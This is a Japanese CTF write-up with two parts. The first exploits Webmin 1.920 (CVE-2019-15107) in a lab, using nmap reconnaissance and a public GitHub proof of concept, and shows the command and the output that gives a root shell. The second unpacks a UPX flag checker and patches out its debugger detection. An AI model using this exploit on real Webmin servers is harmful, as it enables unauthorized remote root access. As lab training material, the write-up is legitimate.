文字を書くのが苦手なのであまりwriteupを作ったことがありません。めっちゃ丁寧に書いたつもりです。
Pentest
[Easy] WebAdmin
とりあえずやることといえばnmap!
ということでスキャン
nmap -sC -sV {targetIP}
このあたりのオプションをつけるとバージョンやら色々出てきます。
空いているポートは22,80,10000
80番はhttpなのでブラウザからアクセス
これはnginxというウェブサーバのデフォルトページです。
これ以上は何もわからなそうなので他を調査します。
10000番もhttpと書いてあるのでブラウザから{targetIP}:10000でアクセス
こんなログインページが出てきました。
ユーザとパスワードをツールで総当たりすることはペネトレではないイメージなのでadminやrootなど簡単なやつをいくつか試した後に別の方法を模索。
nmapの結果を見るとrobots.txtがあるようです。
robots.txtはページのアクセスに関する情報が記述されています。クローラーはこれを参照して特定のページにアクセスしないようにコントロールします。
とはいうもののアクセスできないわけではありません。
ここにユーザ名とパスワードなどに関する情報があることも考えてアクセス。
{targetIP}:10000/robots.txt
なし!
あと考えられるのはバージョン関係による脆弱性。
とりあえずwappalyzerを使って使っているものを確認
特に気になるものがなかったので
nmapの結果に出てきたMiniServ 1.920をチェック。
CVEが見つかった。
CVE-2019-15107
Webminに関する脆弱性でRCEができるようです。
PoC(概念検証)をgithubから探す。
https://github.com/MuirlandOracle/CVE-2019-15107
$ python3 CVE-2019-15107.py -p 10000 {targetIP}
シェルをゲットした!
flagは/root/root.txtにあるらしい
$ python3 CVE-2019-15107.py -p 10000 {targetIP}
__ __ _ _ ____ ____ _____
\ \ / /__| |__ _ __ ___ (_)_ __ | _ \ / ___| ____|
\ \ /\ / / _ \ '_ \| '_ ` _ \| | '_ \ | |_) | | | _|
\ V V / __/ |_) | | | | | | | | | | | _ <| |___| |___
\_/\_/ \___|_.__/|_| |_| |_|_|_| |_| |_| \_\____|_____|
@MuirlandOracle
[+] Connected to http://10.0.102.169:10000/ successfully.
[+] Server version (1.920) should be vulnerable!
[*] Server version relies on expired password changing feature being enabled
[+] Benign Payload executed!
[+] The target is vulnerable and a pseudoshell has been obtained.
Type commands to have them executed on the target.
[*] Type 'exit' to exit.
[*] Type 'shell' to obtain a full reverse shell (UNIX only).
# whoami
root
# cat /root/root.txt
flag{Expl01t_CVE-2019-15107}
Malware Analysis
Flare-VMの環境構築はこちら
https://qiita.com/blend-tea/items/b99148e29ca5d7eeeb25
[Easy] Pack
世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?
問題名からpacker解除する問題かな~と推測
表層解析
Detect it easyでパッカーチェック
UPXですね。
もしここでパッカーの情報が得られなかった場合検体がパックされているかどうかをエントロピーで判断できることがあります。
upx -d pack.exe
でパッカーを解除
続いて問題文から「表層解析で得られる文字列を見てみると...?」とあったので文字列を調査
Flare-VMでは右クリックのメニューにStringsがあります。
Unicode Stringsが少し気になりますね。flagはなかった。
そういえば実行していなかったので実行しましょう
フラグチェッカーですね。入力に対して正誤判定をしているあたりシンボリック実行をして解くのかな?
とりあえず静的解析
静的解析
Ghidraで解析
Flagをチェックしている関数をDefinedStringsから探します。
XREFをダブルクリックすることでこの文字列を使用している箇所にジャンプできます。
ジャンプ先の関数はFUN_00401300
フラグチェックの挙動を見る限りこの関数に指定した引数が分からないと厳しそう。
この関数はFUN_00401170で使用されていることがXREFでわかるのでジャンプ。
面倒になったのとシンボリック実行じゃなさそうなのでデバッガで動的解析に移ります。
動的解析
分かりづらいと思うので動画もどうぞです。
https://youtu.be/_5LTJqE801Q
表層解析で出てきたCheat Engine?知らんな。
Binary ninjaを使います。有償ソフトですがFree版でもデバッグできます。
Flare-VMには入っていません。
ファイルを開いたらPlugin→Debugger→RunでEntry pointにとびます。
基本的な使い方は
F2:ブレイクポイント
F7:ステップ実行(call命令実行時関数にジャンプする)
F8:ステップ実行(call命令実行時1つの命令として実行する)
F9:ブレイクポイントまで実行
F7とF8の違いはカッコ内の通りです。
とりあえずステップ実行してみましょう。
デバッガを検知されたようです。
ということでパッチを当てましょう。
gを押すと指定したアドレスへジャンプできます。0x401490にジャンプしましょう。
ここにデバッガ検知をしている箇所があります。if文にカーソルを合わせ右クリックするとパッチを当てることができます。
パッチ適応し実行すると
コングラ~
感想
開催期間が長いとはいえ平日はきびいっす。土日も入れてほしかったなぁ。Flare-VMの導入など「これ使うといいよ~」という導入があり優しかった。問題の難易度は優しくないと思うけど。
ジャンルにpentestやmalware analysisがあるのは新鮮で楽しかったです。
人生はじめてFirst Bloodできました。